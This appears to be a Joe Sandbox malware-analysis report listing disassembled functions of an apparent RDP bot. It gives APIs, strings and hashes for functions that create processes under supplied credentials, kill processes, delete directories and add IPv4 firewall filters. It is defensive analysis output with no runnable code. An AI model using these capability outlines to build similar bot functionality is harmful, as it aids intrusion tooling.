Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775724B30

Strings

fs_file_read, xrefs: 00007FF775724B65
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF775724B6C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 3ba9c2e744b8d56c74d6440f5eab32ea91c9b9d896e5e1b05deaa0f4babd28c9
Instruction ID: d15c27506f2695fd188d27071ebc134b31a65b453f173519584e69814a6938c9
Opcode Fuzzy Hash: 3ba9c2e744b8d56c74d6440f5eab32ea91c9b9d896e5e1b05deaa0f4babd28c9
Instruction Fuzzy Hash: E5F05423F3814741F963BB0578417B991526F89B75F8945318D5C4B7C1DD3E598282A0

Non-executed Functions

Function 00007FF77572292E Relevance: 56.4, APIs: 17, Strings: 15, Instructions: 435stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7757229C0
strcat.MSVCRT ref: 00007FF775722AFA
strlen.MSVCRT ref: 00007FF775722B10
strlen.MSVCRT ref: 00007FF775722B1B
strlen.MSVCRT ref: 00007FF775722B4F
strcat.MSVCRT ref: 00007FF775722B5F
strlen.MSVCRT ref: 00007FF775722B9D
strlen.MSVCRT ref: 00007FF775722BAA
strlen.MSVCRT ref: 00007FF775722BD3
strcat.MSVCRT ref: 00007FF775722BE5
LogonUserA.ADVAPI32 ref: 00007FF775722C55
GetLastError.KERNEL32 ref: 00007FF775722C63
CloseHandle.KERNEL32 ref: 00007FF775722F27

Strings

NULL, xrefs: 00007FF7757231B6, 00007FF7757231C2, 00007FF7757231CE, 00007FF7757231DA, 00007FF7757231E6, 00007FF7757231F2, 00007FF7757231FE, 00007FF77572320A, 00007FF775723216
[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu), xrefs: 00007FF7757231A5
process_create, xrefs: 00007FF775722A29, 00007FF775722A69, 00007FF775722A9D, 00007FF775722AD1, 00007FF775722C83, 00007FF775722E1C, 00007FF775722F09, 00007FF775722F78, 00007FF7757230AC, 00007FF77572319E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775722A70, 00007FF775722AA4, 00007FF775722AD8
[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x), xrefs: 00007FF775722A30
[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu), xrefs: 00007FF7757230B3
(pi != NULL), xrefs: 00007FF775722A62
(app != NULL), xrefs: 00007FF775722A96
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF775722A5B, 00007FF775722A8F, 00007FF775722AC3
[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF775722C8A
[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu), xrefs: 00007FF775722E23
(usr == NULL) || (pwd != NULL), xrefs: 00007FF775722ACA
[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu), xrefs: 00007FF775722F10
h, xrefs: 00007FF7757230F6
[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu), xrefs: 00007FF775722F7F

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen$strcat$CloseErrorHandleLastLogonUser
String ID: (app != NULL)$(pi != NULL)$(usr == NULL) || (pwd != NULL)$C:/Projects/rdp/bot/codebase/process.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateProcessA failed(cmd=%s,gle=%lu)$[E] (%s) -> CreateProcessAsUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[E] (%s) -> Failed(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,err=%08x)$[E] (%s) -> LogonUserA failed(usr=%s,pwd=%s,cmd=%s,gle=%lu)$[I] (%s) -> CreateProcessA done(cmd=%s,pid=%lu)$[I] (%s) -> CreateProcessAsUserA done(usr=%s,pwd=%s,cmd=%s,pid=%lu)$[I] (%s) -> Done(usr=%s,pwd=%s,dir=%s,app=%s,arg=%s,pid=%lu)$h$process_create
API String ID: 1842180197-3127737957
Opcode ID: 69efc9e83c26ff4603d59e723456b3d08b6c98621c4a7dcc95d79ccfcfd90162
Instruction ID: b256e109f77a2cdd57607e2f274e53853378b689c9efc959db7635ae9d28f6f9
Opcode Fuzzy Hash: 69efc9e83c26ff4603d59e723456b3d08b6c98621c4a7dcc95d79ccfcfd90162
Instruction Fuzzy Hash: 631252A3A3C68781F670AB02E4443B9E2A0FB4CF94FD40132D94E47694DF7EE64597A1

Function 00007FF775723DB3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FF775723DF9
strcpy.MSVCRT ref: 00007FF775723E14
FindFirstFileA.KERNEL32 ref: 00007FF775723EE7
GetLastError.KERNEL32 ref: 00007FF775723F03
GetLastError.KERNEL32 ref: 00007FF775723F32
FindClose.KERNEL32 ref: 00007FF775723F50

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

Strings

(path != NULL), xrefs: 00007FF775723E49
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF775723F68
fs_dir_list, xrefs: 00007FF775723E50, 00007FF775723E88, 00007FF775723EC0, 00007FF775723F1D, 00007FF775723F61
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF775723F24
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775723E42, 00007FF775723E7A, 00007FF775723EB2
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775723E57, 00007FF775723E8F, 00007FF775723EC7
(resume_handle != NULL), xrefs: 00007FF775723EB9
(name != NULL), xrefs: 00007FF775723E81

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$C:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-1535167640
Opcode ID: 3e0de6a5383142c50d747d7485a6cd18731dd1ecefb5aa01e6ee8d7c57e073cb
Instruction ID: ba51e05ceefb5d9717dede4ade3ecb959940050852d8235590eb657d9381986e
Opcode Fuzzy Hash: 3e0de6a5383142c50d747d7485a6cd18731dd1ecefb5aa01e6ee8d7c57e073cb
Instruction Fuzzy Hash: D761F963E3C59B85FB707719A4013B8E271EB08B64FD44132E85E4B2D0DE6CA98483E1

Function 00007FF77572FF1F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF77572FF2E
GetProcAddress.KERNEL32 ref: 00007FF77572FF45
LoadLibraryW.KERNEL32 ref: 00007FF77572FF53
GetProcAddress.KERNEL32 ref: 00007FF77572FF63

Strings

advapi32.dll, xrefs: 00007FF77572FF4C
rand_s, xrefs: 00007FF77572FF3B
SystemFunction036, xrefs: 00007FF77572FF59
msvcrt.dll, xrefs: 00007FF77572FF27

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 85c771fb55e45746b373319f0909d9bbab80cd8ba9edf7ac40692cd287980bbc
Instruction ID: e04f1441bad833749ec5a71c3ad15a1a2ea5c16a6f6e0e9c0c1b77bcfbd26d08
Opcode Fuzzy Hash: 85c771fb55e45746b373319f0909d9bbab80cd8ba9edf7ac40692cd287980bbc
Instruction Fuzzy Hash: 4FF0D023E3AA9790EE05FB51FC450B4A364BF1CF60FC55136C80D06324EE2CA55A83A0

Function 00007FF77572929A Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 118COMMON

Download Yara Rule

APIs

inet_addr.WS2_32 ref: 00007FF7757292B1
ntohl.WS2_32 ref: 00007FF7757292B9

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

Strings

3L, xrefs: 00007FF775729486
[E] (%s) -> FwpmFilterAdd0(IPv4) failed(filt_idx=%d,res=%08lx), xrefs: 00007FF775729521
setup_ip4_filt, xrefs: 00007FF775729360, 00007FF77572951A
[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx), xrefs: 00007FF775729367
TL, xrefs: 00007FF7757292D6

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fflushfwriteinet_addrntohl
String ID: 3L$TL$[E] (%s) -> FwpmFilterAdd0(IPv4) failed(filt_idx=%d,res=%08lx)$[E] (%s) -> FwpmFilterDeleteByKey0(IPv4) failed(res=%08lx)$setup_ip4_filt
API String ID: 3255839625-58178811
Opcode ID: 2bcffa2f7a86a1410d73aaa581713aacfe8712eef18de35f9b5a001454aced48
Instruction ID: b582746ffaf5ea7a94d36a1849a058f9b58afc8a40464c9c3ed88e5dadcef982
Opcode Fuzzy Hash: 2bcffa2f7a86a1410d73aaa581713aacfe8712eef18de35f9b5a001454aced48
Instruction Fuzzy Hash: C7517E3262CBC585E7319B25B4403DAB7B5EB99B90F844128D6CC4BB99EF3DC185CB90

Function 00007FF775726FD5 Relevance: 1.5, APIs: 1, Instructions: 25timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF775726FF0

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: eaf35cacb86d4e2f88e6fced642b51b1d7c27793e30891e7df17b252400794d8
Instruction ID: 5f3f804d00dd5056de27b37d6737e9163232c96f178efaf8b21228e7dcb82ffe
Opcode Fuzzy Hash: eaf35cacb86d4e2f88e6fced642b51b1d7c27793e30891e7df17b252400794d8
Instruction Fuzzy Hash: DDE09BB673898583EF20D719D0407B7A751D79C794F945034E95DC3754DA2CD9518780

Function 00007FF77573B668 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cdbd8a1772982e1159f987e7582aee2234c2e3b90ba2fecf474b6389da8852
Instruction ID: b0de80746a9877c3cab176b8efb338e9b9ba18a75b96e2cde6e846af0a565d75
Opcode Fuzzy Hash: 43cdbd8a1772982e1159f987e7582aee2234c2e3b90ba2fecf474b6389da8852
Instruction Fuzzy Hash: AE118287D3DAD3C5F5561A6809693756B805F57FB4F880279CDBC462D39E1E2C038261

Function 00007FF77573B6B8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f425755523f90e08f9e80f8d6c7666d97432842fe783b546abaece473fadd6
Instruction ID: d633f3be278e2ec13b464f4739679b076a48927399d9a58b41fe4282d5105b26
Opcode Fuzzy Hash: 00f425755523f90e08f9e80f8d6c7666d97432842fe783b546abaece473fadd6
Instruction Fuzzy Hash: DEF03CC7D3CAC385F5561A680C6A3616B815F56AB4F89433A8EBC462D35E1E2C024265

Function 00007FF77573B558 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04e2900766d9d14cb05d71eedaab4efe8780466c1436e7a6fc7beb0f48e5108a
Instruction ID: c28ba8b7bf1d8ec99d644185bf82082ba393fbdf60a2211f2dab5df2041222b4
Opcode Fuzzy Hash: 04e2900766d9d14cb05d71eedaab4efe8780466c1436e7a6fc7beb0f48e5108a
Instruction Fuzzy Hash: 84E0ED83E2EBD341F313973848243286E901B6AF70FC842BACAAC0A2D3CD0C2D01C261

Function 00007FF7757305D9 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad621d27ed11d527f0a4eb9abd0c574f9942df0d3b361b300398ff936c25c339
Instruction ID: a924fe717f4fe08531ea43ca45c9e1867682fce48bba1d66fc1b87c1468aebc7
Opcode Fuzzy Hash: ad621d27ed11d527f0a4eb9abd0c574f9942df0d3b361b300398ff936c25c339
Instruction Fuzzy Hash: 1AA0025396DC49C4E6401F00E801171B628EB0AA10FC42130C06C520568B2C94008154

Function 00007FF77572212F Relevance: 66.9, APIs: 13, Strings: 25, Instructions: 417processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF775722163
Process32First.KERNEL32 ref: 00007FF775722197
GetLastError.KERNEL32 ref: 00007FF775722227
GetLastError.KERNEL32 ref: 00007FF7757222FF
strcmp.MSVCRT ref: 00007FF7757224CA
OpenProcess.KERNEL32 ref: 00007FF7757224E2
TerminateProcess.KERNEL32 ref: 00007FF7757224FC
GetLastError.KERNEL32 ref: 00007FF77572250A
CloseHandle.KERNEL32 ref: 00007FF775722895

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7757221D3
(name != NULL) || (pid != 0), xrefs: 00007FF7757221C5
[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x), xrefs: 00007FF775722205
|, xrefs: 00007FF7757221B6
P, xrefs: 00007FF7757222B8
, xrefs: 00007FF7757225D5
[E] (%s) -> Process32Next failed(gle=%lu), xrefs: 00007FF775722720
C:/Projects/rdp/bot/codebase/process.c, xrefs: 00007FF7757221BE
~, xrefs: 00007FF7757222AF
P, xrefs: 00007FF775722395
, xrefs: 00007FF775722245
P, xrefs: 00007FF775722614
[E] (%s) -> OpenProcess failed(gle=%lu), xrefs: 00007FF7757225B5
[E] (%s) -> Process32First failed(gle=%lu), xrefs: 00007FF775722320
[I] (%s) -> Done(name=%s,pid=%lu), xrefs: 00007FF7757228B5
, xrefs: 00007FF77572232C
~, xrefs: 00007FF77572238C
NULL, xrefs: 00007FF775722916, 00007FF775722922
process_kill, xrefs: 00007FF7757221CC, 00007FF7757221FE, 00007FF775722232, 00007FF775722319, 00007FF775722515, 00007FF7757225AE, 00007FF775722719, 00007FF7757228AE
[E] (%s) -> TerminateProcess failed(gle=%lu), xrefs: 00007FF77572251C
P, xrefs: 00007FF775722439
~, xrefs: 00007FF77572260B
~, xrefs: 00007FF775722430
[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu), xrefs: 00007FF775722239
, xrefs: 00007FF77572253C

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorLast$Process$CloseCreateFirstHandleOpenProcess32SnapshotTerminateToolhelp32strcmp
String ID: $ $ $ $(name != NULL) || (pid != 0)$C:/Projects/rdp/bot/codebase/process.c$NULL$P$P$P$P$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateToolhelp32Snapshot failed(gle=%lu)$[E] (%s) -> Failed(name=%s,pid=%lu,err=%08x)$[E] (%s) -> OpenProcess failed(gle=%lu)$[E] (%s) -> Process32First failed(gle=%lu)$[E] (%s) -> Process32Next failed(gle=%lu)$[E] (%s) -> TerminateProcess failed(gle=%lu)$[I] (%s) -> Done(name=%s,pid=%lu)$process_kill$|$~$~$~$~
API String ID: 3326156344-4160762685
Opcode ID: 111a0d222265b0e9b651161f67789db15db04ee1d6344d95adf1997ddbc43c14
Instruction ID: 616fa58f6005be34d536f057dd2b074f44d61c2cf1209604574e43c4a00fd3f3
Opcode Fuzzy Hash: 111a0d222265b0e9b651161f67789db15db04ee1d6344d95adf1997ddbc43c14
Instruction Fuzzy Hash: 43F10713E3C68386FA747755A880778A260EF1CF55FE04132CA0E4A6D2DD5FED8592E2

Function 00007FF775724D81 Relevance: 44.0, APIs: 15, Strings: 10, Instructions: 226stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF775724DA6
RemoveDirectoryA.KERNEL32 ref: 00007FF775724DBE
GetLastError.KERNEL32 ref: 00007FF775724DC8

Part of subcall function 00007FF7757214E2: fwrite.MSVCRT ref: 00007FF77572158E
Part of subcall function 00007FF7757214E2: fflush.MSVCRT ref: 00007FF77572159A

strcpy.MSVCRT ref: 00007FF775724E92
strlen.MSVCRT ref: 00007FF775724E9A
strlen.MSVCRT ref: 00007FF775724EB6
strlen.MSVCRT ref: 00007FF775724EC7
strcpy.MSVCRT ref: 00007FF775724EE1
strlen.MSVCRT ref: 00007FF775724EE9
strlen.MSVCRT ref: 00007FF775724F0B
strlen.MSVCRT ref: 00007FF775724F1F
strcmp.MSVCRT ref: 00007FF775724F61
strcmp.MSVCRT ref: 00007FF775724F74
RemoveDirectoryA.KERNEL32 ref: 00007FF77572501D
GetLastError.KERNEL32 ref: 00007FF77572502B

Strings

*, xrefs: 00007FF775724ECC
[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FF775725118
(path != NULL), xrefs: 00007FF775724E03
[D] (%s) -> Delete(path_wc=%s,f_path=%s), xrefs: 00007FF775724F94
[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FF775724DE6, 00007FF775725049
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF775724DFC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF775724E11
NULL, xrefs: 00007FF775725165
fs_dir_delete, xrefs: 00007FF775724DDF, 00007FF775724E0A, 00007FF775724F8D, 00007FF775725042, 00007FF775725111, 00007FF775725174
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FF77572517B

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: strlen$DirectoryErrorLastRemovestrcmpstrcpy$fflushfwrite
String ID: (path != NULL)$*$C:/Projects/rdp/bot/codebase/fs.c$NULL$[D] (%s) -> Delete(path_wc=%s,f_path=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[E] (%s) -> RemoveDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_delete
API String ID: 2460052984-4087913290
Opcode ID: 8dc65f1aecab8ea4f47efe9ab0ad32aca9d45740e90fa263407e76fd36843b16
Instruction ID: b87eb040278318ae487ae60475e25120316f17439628246d5e056c7e5789c760
Opcode Fuzzy Hash: 8dc65f1aecab8ea4f47efe9ab0ad32aca9d45740e90fa263407e76fd36843b16
Instruction Fuzzy Hash: F8A1A123E3C68285F730BB15A8457F9E3A2EF88B55FE40032D94D4A685EE3CE44587E1

Function 00007FF7757253BF Relevance: 42.3, APIs: 16, Strings: 12, Instructions: 270stringCOMMON

Download Yara Rule

APIs

strcpy.MSVCRT ref: 00007FF77572541A
strlen.MSVCRT ref: 00007FF775725422
strlen.MSVCRT ref: 00007FF775725443
strlen.MSVCRT ref: 00007FF775725455
strcmp.MSVCRT ref: 00007FF7757254FD
strcmp.MSVCRT ref: 00007FF775725515
strcat.MSVCRT ref: 00007FF775725575
strlen.MSVCRT ref: 00007FF77572557D
strcpy.MSVCRT ref: 00007FF775725663
